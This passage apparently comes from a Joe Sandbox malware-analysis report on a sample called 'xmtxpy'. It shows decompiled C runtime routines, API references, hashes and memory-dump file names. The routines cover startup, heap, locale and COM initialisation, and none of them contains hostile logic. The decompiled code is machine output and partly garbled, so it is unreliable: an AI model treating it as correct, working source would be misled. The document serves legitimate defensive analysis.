				if(_t15 == 0) {
					_t15 = E008AE9B0(0x10);
				}
				E008AFA79(_t15);
				 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
				if(E008AF1A3(_t32, _t43, _t44, _t49) < 0) {
					E008AE9B0(0x1b);
				}
				 *0x8c101c = GetCommandLineW();
				 *0x8bf0c8 = E008AFAB9();
				_t20 = E008AF457();
				_t51 = _t20;
				if(_t20 < 0) {
					_t20 = E008AEED7(_t32, _t42, _t43, _t44, _t51, 8);
				}
				_t21 = E008AF694(_t20, _t32, _t42, _t43, _t44);
				_t52 = _t21;
				if(_t21 < 0) {
					E008AEED7(_t32, _t42, _t43, _t44, _t52, 9);
				}
				_t22 = E008AEF11(1);
				_t53 = _t22;
				if(_t22 != 0) {
					E008AEED7(_t32, _t42, _t43, _t44, _t53, _t22);
				}
				_t23 = E008AFEF7();
				_push(_t44);
				E008A1000(0x8a0000, 0, _t23);
				_t45 = _t23;
				 *((intOrPtr*)(_t46 - 0x24)) = _t23;
				if(_t32 == 0) {
					E008AF17A(_t45);
				}
				E008AEF02();
				 *(_t46 - 4) = 0xfffffffe;
				return E008AFF95(_t45);
			}

0x008a4173
0x008a4173
0x008ae871
0x008ae876
0x008ae87c
0x008ae881
0x008ae888
0x008ae88e
0x008ae893
0x008ae89d
0x00000000
0x008ae89f
0x008ae8a4
0x008ae8ab
0x00000000
0x008ae8ad
0x008ae8ad
0x008ae8af
0x008ae8b6
0x008ae8b8
0x008ae8be
0x008ae8be
0x008ae8be
0x008ae8be
0x008ae8b6
0x008ae8ab
0x008ae88a
0x008ae88a
0x008ae88a
0x008ae88a
0x008ae8c1
0x008ae8c3
0x008ae8c5
0x008ae8c7
0x008ae8c9
0x008ae8cb
0x008ae8cf
0x008ae8d4
0x008ae8d5
0x008ae8da
0x008ae8dc
0x008ae8e0
0x008ae8e5
0x008ae8e6
0x008ae8eb
0x008ae8f6
0x008ae8fa
0x008ae8ff
0x008ae906
0x008ae910
0x008ae915
0x008ae91a
0x008ae91c
0x008ae920
0x008ae925
0x008ae926
0x008ae92b
0x008ae92d
0x008ae931
0x008ae936
0x008ae939
0x008ae93f
0x008ae941
0x008ae944
0x008ae949
0x008ae94a
0x008ae94f
0x008ae958
0x008ae95d
0x008ae95f
0x008ae964
0x008ae967
0x008ae967
0x008ae96c
0x008ae9a1
0x008ae9af

APIs

_fast_error_exit.LIBCMT ref: 008AE8CF
_fast_error_exit.LIBCMT ref: 008AE8E0
__RTC_Initialize.LIBCMT ref: 008AE8E6
__ioinit.LIBCMT ref: 008AE8EF
_fast_error_exit.LIBCMT ref: 008AE8FA
GetCommandLineW.KERNEL32 ref: 008AE900
___crtGetEnvironmentStringsW.LIBCMT ref: 008AE90B
__wsetargv.LIBCMT ref: 008AE915
__wsetenvp.LIBCMT ref: 008AE926
__cinit.LIBCMT ref: 008AE939
__wwincmdln.LIBCMT ref: 008AE94A

Strings

.$, xrefs: 008AE8AF

Memory Dump Source

Source File: 00000006.00000002.669434494.00000000008A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000006.00000002.669427489.00000000008A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669456673.00000000008B9000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669464683.00000000008BE000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669470976.00000000008C2000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8a0000_xmtxpy.jbxd

Similarity

API ID: _fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__wsetargv__wsetenvp__wwincmdln
String ID: .$
API String ID: 965155184-2223841709
Opcode ID: d09755f6bcf8eb5ce504bbe7748687d9629dc642e3d684f51b6e9c39cebf42d6
Instruction ID: 87fadd7b4f139cd9cb2d781ec796443bfced0a472ba5b3baf0f4ca82842a2aec
Opcode Fuzzy Hash: d09755f6bcf8eb5ce504bbe7748687d9629dc642e3d684f51b6e9c39cebf42d6
Instruction Fuzzy Hash: B621B360A0071599FB607BF8988676B2650FF13754F244C7AFA05DADD3EFB8C8808A53

Uniqueness

Uniqueness Score: -1.00%

Function 008A30E5 Relevance: 16.6, APIs: 11, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E008A30E5(void* __eax, void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t10;
				void* _t15;
				void* _t16;
				void* _t17;
				intOrPtr _t18;
				void* _t27;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t41;

				_t39 = __esi;
				_t38 = __edi;
				_t37 = __edx;
				_t27 = __ebx;
				 *((intOrPtr*)(__ecx - 0x7f)) =  *((intOrPtr*)(__ecx - 0x7f)) + __eax;
				asm("in al, 0xe8");
				asm("lds ecx, [eax]");
				 *__ecx =  *__ecx + __ecx;
				_t43 = __ecx;
				if(__ecx == 0) {
					E008AE9B0(0x1c);
				}
				_t10 = E008AEDFA(_t27, _t38, _t43);
				_t44 = _t10;
				if(_t10 == 0) {
					_t10 = E008AE9B0(0x10);
				}
				E008AFA79(_t10);
				 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
				if(E008AF1A3(_t27, _t38, _t39, _t44) < 0) {
					E008AE9B0(0x1b);
				}
				 *0x8c101c = GetCommandLineW();
				 *0x8bf0c8 = E008AFAB9();
				_t15 = E008AF457();
				_t46 = _t15;
				if(_t15 < 0) {
					_t15 = E008AEED7(_t27, _t37, _t38, _t39, _t46, 8);
				}
				_t16 = E008AF694(_t15, _t27, _t37, _t38, _t39);
				_t47 = _t16;
				if(_t16 < 0) {
					E008AEED7(_t27, _t37, _t38, _t39, _t47, 9);
				}
				_t17 = E008AEF11(1);
				_t48 = _t17;
				if(_t17 != 0) {
					E008AEED7(_t27, _t37, _t38, _t39, _t48, _t17);
				}
				_t18 = E008AFEF7();
				_push(_t39);
				E008A1000(0x8a0000, 0, _t18);
				_t40 = _t18;
				 *((intOrPtr*)(_t41 - 0x24)) = _t18;
				if(_t27 == 0) {
					E008AF17A(_t40);
				}
				E008AEF02();
				 *(_t41 - 4) = 0xfffffffe;
				return E008AFF95(_t40);
			}

0x008a30e5
0x008a30e5
0x008a30e5
0x008a30e5
0x008a30e8
0x008ae8c3
0x008ae8c5
0x008ae8c7
0x008ae8c9
0x008ae8cb
0x008ae8cf
0x008ae8d4
0x008ae8d5
0x008ae8da
0x008ae8dc
0x008ae8e0
0x008ae8e5
0x008ae8e6
0x008ae8eb
0x008ae8f6
0x008ae8fa
0x008ae8ff
0x008ae906
0x008ae910
0x008ae915
0x008ae91a
0x008ae91c
0x008ae920
0x008ae925
0x008ae926
0x008ae92b
0x008ae92d
0x008ae931
0x008ae936
0x008ae939
0x008ae93f
0x008ae941
0x008ae944
0x008ae949
0x008ae94a
0x008ae94f
0x008ae958
0x008ae95d
0x008ae95f
0x008ae964
0x008ae967
0x008ae967
0x008ae96c
0x008ae9a1
0x008ae9af

APIs

_fast_error_exit.LIBCMT ref: 008AE8CF

Part of subcall function 008AE9B0: __FF_MSGBANNER.LIBCMT ref: 008AE9BC
Part of subcall function 008AE9B0: __NMSG_WRITE.LIBCMT ref: 008AE9C4

_fast_error_exit.LIBCMT ref: 008AE8E0
__RTC_Initialize.LIBCMT ref: 008AE8E6
__ioinit.LIBCMT ref: 008AE8EF
_fast_error_exit.LIBCMT ref: 008AE8FA
GetCommandLineW.KERNEL32 ref: 008AE900
___crtGetEnvironmentStringsW.LIBCMT ref: 008AE90B
__wsetargv.LIBCMT ref: 008AE915
__wsetenvp.LIBCMT ref: 008AE926
__cinit.LIBCMT ref: 008AE939
__wwincmdln.LIBCMT ref: 008AE94A

Memory Dump Source

Source File: 00000006.00000002.669434494.00000000008A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000006.00000002.669427489.00000000008A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669456673.00000000008B9000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669464683.00000000008BE000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669470976.00000000008C2000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8a0000_xmtxpy.jbxd

Similarity

API ID: _fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__wsetargv__wsetenvp__wwincmdln
String ID:
API String ID: 965155184-0
Opcode ID: b5ab956eed20f05a372d2e83b1aff10c2784c03741205e7fd92235a5aedd176e
Instruction ID: 1f4328fb1270815b40bd831efc690f2a02e652aff3e1c4de0287aedc37cef172
Opcode Fuzzy Hash: b5ab956eed20f05a372d2e83b1aff10c2784c03741205e7fd92235a5aedd176e
Instruction Fuzzy Hash: B111BC20204316AAFA607BF89C46B6B2A44FF13354F240C7AFA40DACC3EFA9C4415223

Uniqueness

Uniqueness Score: -1.00%

Function 0040434D Relevance: 15.1, APIs: 10, Instructions: 135memorycomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040438F
CoCreateInstance.OLE32(00418EC0,00000000,00000001,00418EB0,?), ref: 004043A9
VariantInit.OLEAUT32(?), ref: 004043C4
SysAllocString.OLEAUT32(?), ref: 004043CD
VariantInit.OLEAUT32(?), ref: 00404414
SysAllocString.OLEAUT32(?), ref: 00404419
VariantInit.OLEAUT32(?), ref: 00404431

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: InitVariant$AllocString$CreateInitializeInstance
String ID:
API String ID: 1312198159-0
Opcode ID: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction ID: 6cc2ba4480fbb4d68866773ab5e076051400aafb7d2546f6199fc19a864342a4
Opcode Fuzzy Hash: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction Fuzzy Hash: 9A414C71A00609EFDB00EFE4DC84ADEBF79FF89314F10406AFA05AB190DB759A458B94

Uniqueness

Uniqueness Score: -1.00%

Function 008AEDFA Relevance: 9.0, APIs: 6, Instructions: 41
threadCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E008AEDFA(void* __ebx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t3;
				intOrPtr _t6;
				long* _t12;
				long _t14;
				void* _t19;
				void* _t21;
				void* _t25;
				long* _t26;

				E008AEFA9(_t3, __ebx, __eflags);
				if(E008B02BA() != 0) {
					_t6 = E008AFB16(0x8aeb8b);
					 *0x8be000 = _t6;
					__eflags = _t6 - 0xffffffff;
					if(_t6 == 0xffffffff) {
						goto L1;
					} else {
						_t26 = E008B0340(1, 0x3bc);
						asm("lock pop ecx");
						_t19 = _t25;
						__eflags = _t26;
						if(_t26 == 0) {
							L7:
							E008AEE70();
							__eflags = 0;
							return 0;
						} else {
							_t12 = E008AFB72(_t19,  *0x8be000, _t26);
							_pop(_t21);
							__eflags = _t12;
							if(__eflags == 0) {
								goto L7;
							} else {
								_push(0);
								_push(_t26);
								E008AED47(__ebx, _t21, __edi, _t26, __eflags);
								_t14 = GetCurrentThreadId();
								_t26[1] = _t26[1] | 0xffffffff;
								 *_t26 = _t14;
								__eflags = 1;
								return 1;
							}
						}
					}
				} else {
					L1:
					E008AEE70();
					return 0;
				}
			}

APIs

__init_pointers.LIBCMT ref: 008AEDFA

Part of subcall function 008AEFA9: EncodePointer.KERNEL32(00000000,?,008AEDFF,008AE8DA), ref: 008AEFAC
Part of subcall function 008AEFA9: __initp_misc_winsig.LIBCMT ref: 008AEFC7
Part of subcall function 008AEFA9: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 008AFC2C
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 008AFC40
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 008AFC53
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 008AFC66
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 008AFC79
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 008AFC8C
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 008AFC9F
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 008AFCB2
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 008AFCC5
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 008AFCD8
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 008AFCEB
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 008AFCFE
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 008AFD11
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 008AFD24
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 008AFD37
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 008AFD4A

__mtinitlocks.LIBCMT ref: 008AEDFF
__mtterm.LIBCMT ref: 008AEE08

Part of subcall function 008AEE70: DeleteCriticalSection.KERNEL32(?,?,?,?,008AEE6C), ref: 008B01D4
Part of subcall function 008AEE70: _free.LIBCMT ref: 008B01DB
Part of subcall function 008AEE70: DeleteCriticalSection.KERNEL32(008BE050,?,?,008AEE6C), ref: 008B01FD

__calloc_crt.LIBCMT ref: 008AEE2D
__initptd.LIBCMT ref: 008AEE4F
GetCurrentThreadId.KERNEL32(008AE8DA), ref: 008AEE56

Memory Dump Source

Source File: 00000006.00000002.669434494.00000000008A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000006.00000002.669427489.00000000008A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669456673.00000000008B9000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669464683.00000000008BE000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669470976.00000000008C2000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8a0000_xmtxpy.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 318c54c34e44141bd607e003ac57ec6568834ccea85a06a08caeee8484214a81
Instruction ID: 5818addd167e8e74cf8e56be3865739bf0e1a63963f318d768295572e4e5bb10
Opcode Fuzzy Hash: 318c54c34e44141bd607e003ac57ec6568834ccea85a06a08caeee8484214a81
Instruction Fuzzy Hash: 0FF0B432245B111AF6243B7CBC1B74B3681FB03730F200E29F161D99E2EF2094124552

Uniqueness

Uniqueness Score: -1.00%

Function 008AEE8D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 16%

			E008AEE8D(void* __ecx, intOrPtr _a4) {
				struct HINSTANCE__* _v8;
				_Unknown_base(*)()* _t4;

				_t4 =  &_v8;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t4, __ecx);
				if(_t4 != 0) {
					_t4 = GetProcAddress(_v8, "CorExitProcess");
					if(_t4 != 0) {
						return  *_t4(_a4);
					}
				}
				return _t4;
			}

0x008aee91
0x008aee9c
0x008aeea4
0x008aeeae
0x008aeeb6
0x00000000
0x008aeebb
0x008aeeb6
0x008aeec0

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,008AEECC,00000000,?,008B23C4,000000FF,0000001E,00000000,00000000,00000000,?,008B039E), ref: 008AEE9C
GetProcAddress.KERNEL32(?,CorExitProcess,?,?,008AEECC,00000000,?,008B23C4,000000FF,0000001E,00000000,00000000,00000000,?,008B039E,00000000), ref: 008AEEAE

Strings

CorExitProcess, xrefs: 008AEEA6
mscoree.dll, xrefs: 008AEE95

Memory Dump Source

Source File: 00000006.00000002.669434494.00000000008A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000006.00000002.669427489.00000000008A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669456673.00000000008B9000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669464683.00000000008BE000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669470976.00000000008C2000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8a0000_xmtxpy.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 249d69c3c2c87243973d28c7d34586873538a97f8847c1984ca131c15fd21474
Instruction ID: db02c1f7bbd13a958da40bc1a58c1b6aab34935f565b77e06af8b5886e02d989
Opcode Fuzzy Hash: 249d69c3c2c87243973d28c7d34586873538a97f8847c1984ca131c15fd21474
Instruction Fuzzy Hash: 44D01230A44208BBDB115B91DC05F9A776DFB01741F040564FE58D5590DB719A149650

Uniqueness

Uniqueness Score: -1.00%

Function 008B458A Relevance: 6.1, APIs: 4, Instructions: 97
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E008B458A(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				intOrPtr _v12;
				int _v20;
				int _t35;
				int _t38;
				intOrPtr* _t44;
				int _t47;
				short* _t49;
				intOrPtr _t50;
				intOrPtr _t54;
				int _t55;
				int _t59;
				char* _t62;

				_t62 = _a8;
				if(_t62 == 0) {
					L5:
					return 0;
				}
				_t50 = _a12;
				if(_t50 == 0) {
					goto L5;
				}
				if( *_t62 != 0) {
					E008B0791( &_v20, _a16);
					_t35 = _v20;
					__eflags =  *(_t35 + 0xa8);
					if( *(_t35 + 0xa8) != 0) {
						_t38 = E008B44CC( *_t62 & 0x000000ff,  &_v20);
						__eflags = _t38;
						if(_t38 == 0) {
							__eflags = _a4;
							_t59 = 1;
							__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t62, 1, _a4, 0 | _a4 != 0x00000000);
							if(__eflags != 0) {
								L21:
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t31 = _t54 + 0x70;
									 *_t31 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t31;
								}
								return _t59;
							}
							L20:
							_t44 = E008B10B7(__eflags);
							_t59 = _t59 | 0xffffffff;
							__eflags = _t59;
							 *_t44 = 0x2a;
							goto L21;
						}
						_t59 = _v20;
						__eflags =  *(_t59 + 0x74) - 1;
						if( *(_t59 + 0x74) <= 1) {
							L15:
							__eflags = _t50 -  *(_t59 + 0x74);
							L16:
							if(__eflags < 0) {
								goto L20;
							}
							__eflags = _t62[1];
							if(__eflags == 0) {
								goto L20;
							}
							L18:
							_t59 =  *(_t59 + 0x74);
							goto L21;
						}
						__eflags = _t50 -  *(_t59 + 0x74);
						if(__eflags < 0) {
							goto L16;
						}
						__eflags = _a4;
						_t47 = MultiByteToWideChar( *(_t59 + 4), 9, _t62,  *(_t59 + 0x74), _a4, 0 | _a4 != 0x00000000);
						_t59 = _v20;
						__eflags = _t47;
						if(_t47 != 0) {
							goto L18;
						}
						goto L15;
					}
					_t55 = _a4;
					__eflags = _t55;
					if(_t55 != 0) {
						 *_t55 =  *_t62 & 0x000000ff;
					}
					_t59 = 1;
					goto L21;
				}
				_t49 = _a4;
				if(_t49 != 0) {
					 *_t49 = 0;
				}
				goto L5;
			}

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 008B45C0
__isleadbyte_l.LIBCMT ref: 008B45EE
MultiByteToWideChar.KERNEL32(00000080,00000009,00000108,00000001,?,00000000), ref: 008B461C
MultiByteToWideChar.KERNEL32(00000080,00000009,00000108,00000001,?,00000000), ref: 008B4652

Memory Dump Source

Source File: 00000006.00000002.669434494.00000000008A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000006.00000002.669427489.00000000008A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669456673.00000000008B9000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669464683.00000000008BE000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669470976.00000000008C2000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8a0000_xmtxpy.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 6b240b56edede272b571c86c1ffde9a1f4641c8eee282ae4ba3bd2cf56c8d29b
Instruction ID: b94b253cd542ed38b82e61e7192ea3bbd12b33aa9e81b9c686609f39ed242f49
Opcode Fuzzy Hash: 6b240b56edede272b571c86c1ffde9a1f4641c8eee282ae4ba3bd2cf56c8d29b
Instruction Fuzzy Hash: 3D31D03060065AAFEB218F79CC46BFA7BB5FF42350F155529E864C72A2E730E854DB90

Uniqueness

Uniqueness Score: -1.00%

Function 008B2429 Relevance: 6.1, APIs: 4, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 96%

			E008B2429(void* __ebx, void* __edx, void* __edi, void* _a4, long _a8) {
				void* _t7;
				long _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				long _t20;
				long _t31;

				if(_a4 != 0) {
					_t31 = _a8;
					__eflags = _t31;
					if(_t31 != 0) {
						_push(__ebx);
						while(1) {
							__eflags = _t31 - 0xffffffe0;
							if(_t31 > 0xffffffe0) {
								break;
							}
							__eflags = _t31;
							if(_t31 == 0) {
								_t31 = _t31 + 1;
								__eflags = _t31;
							}
							_t7 = HeapReAlloc( *0x8bf100, 0, _a4, _t31);
							_t20 = _t7;
							__eflags = _t20;
							if(_t20 != 0) {
								L17:
								_t8 = _t20;
							} else {
								__eflags =  *0x8bff38 - _t7;
								if(__eflags == 0) {
									_t9 = E008B10B7(__eflags);
									 *_t9 = E008B10CA(GetLastError());
									goto L17;
								} else {
									__eflags = E008B13B0(_t7, _t31);
									if(__eflags == 0) {
										_t12 = E008B10B7(__eflags);
										 *_t12 = E008B10CA(GetLastError());
										L12:
										_t8 = 0;
										__eflags = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E008B13B0(_t6, _t31);
						 *((intOrPtr*)(E008B10B7(__eflags))) = 0xc;
						goto L12;
					} else {
						E008B0308(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E008B2397(__ebx, __edx, __edi, _a8);
				}
			}

APIs

_free.LIBCMT ref: 008B2448

Part of subcall function 008B2397: __FF_MSGBANNER.LIBCMT ref: 008B23AE
Part of subcall function 008B2397: __NMSG_WRITE.LIBCMT ref: 008B23B5
Part of subcall function 008B2397: HeapAlloc.KERNEL32(00000000,00000000,00000001,00000000,00000000,00000000,?,008B039E,00000000,00000000,00000000,00000000,?,008B0253,00000018,008BCE98), ref: 008B23DA

Memory Dump Source

Source File: 00000006.00000002.669434494.00000000008A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000006.00000002.669427489.00000000008A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669456673.00000000008B9000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669464683.00000000008BE000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669470976.00000000008C2000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8a0000_xmtxpy.jbxd

Similarity

API ID: AllocHeap_free
String ID:
API String ID: 1080816511-0
Opcode ID: 02115ea06127abb5c6a41f910a8904db0b355bb0f958777a09a344ef4b836d10
Instruction ID: f0aa836b5b536b0d6639989ecb9ac4590cd3c53bf8cec690e951bc032c7541af
Opcode Fuzzy Hash: 02115ea06127abb5c6a41f910a8904db0b355bb0f958777a09a344ef4b836d10
Instruction Fuzzy Hash: 22110632500A15EFCF203F78AC08BDA37D8FF14364F104625FA48DEBA1EA3588818699

Uniqueness

Uniqueness Score: -1.00%

Function 008B5DFD Relevance: 6.0, APIs: 4, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E008B5DFD(void* __edx, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E008B634E(__eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t35 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E008B5E83(_a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E008B65C9(__edx, __esi, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E008B6508(__edx, __esi, _t35, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

APIs

__cftof_l.LIBCMT ref: 008B5E21

Part of subcall function 008B6508: __fltout2.LIBCMT ref: 008B6531

__cftog_l.LIBCMT ref: 008B5E47
__cftoe_l.LIBCMT ref: 008B5E79

Memory Dump Source

Source File: 00000006.00000002.669434494.00000000008A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000006.00000002.669427489.00000000008A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669456673.00000000008B9000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669464683.00000000008BE000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669470976.00000000008C2000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8a0000_xmtxpy.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 52323a7aeb8314376a3117bedf4e11b5d1e225a609a33d4a0d7b72315e6ec6a5
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 8201087240054EBBCF225E98CC41DEE3F66FB1C354B598415FA1899235D336DAB1AB82

Uniqueness

Uniqueness Score: -1.00%

Function 008A2AC1 Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008A2AC1(void* __eax, void* __esi) {
				intOrPtr _t8;
				void* _t17;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;

				_t17 = __esi + 1;
				_t20 = __eax + 1 -  *0x8bed30; // 0x8bfc08
				if(_t20 != 0) {
					E008B0308(_t5);
				}
				_t21 =  *((intOrPtr*)(_t17 + 0x44)) -  *0x8bed34; // 0x8bfc08
				if(_t21 != 0) {
					E008B0308(_t6);
				}
				_t22 =  *((intOrPtr*)(_t17 + 0x48)) -  *0x8bed38; // 0x8bfc08
				if(_t22 != 0) {
					E008B0308(_t7);
				}
				_t8 =  *((intOrPtr*)(_t17 + 0x4c));
				_t23 = _t8 -  *0x8bed3c; // 0x8bfc08
				if(_t23 != 0) {
					_t8 = E008B0308(_t8);
				}
				return _t8;
			}

APIs

_free.LIBCMT ref: 008B260B

Part of subcall function 008B0308: HeapFree.KERNEL32(00000000,00000000), ref: 008B031C
Part of subcall function 008B0308: GetLastError.KERNEL32(00000000,?,008AED38,00000000,008B10BC,008B7791,00000000,?,008B688D,00000000,00010000,00030000,?,008B4AE7), ref: 008B032E

_free.LIBCMT ref: 008B261D
_free.LIBCMT ref: 008B262F
_free.LIBCMT ref: 008B2641

Memory Dump Source

Source File: 00000006.00000002.669434494.00000000008A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000006.00000002.669427489.00000000008A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669456673.00000000008B9000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669464683.00000000008BE000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.669470976.00000000008C2000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8a0000_xmtxpy.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 25b42ed8889a5afab1f3351924d049d24a8b292386ec0a623a96f03d2346be71
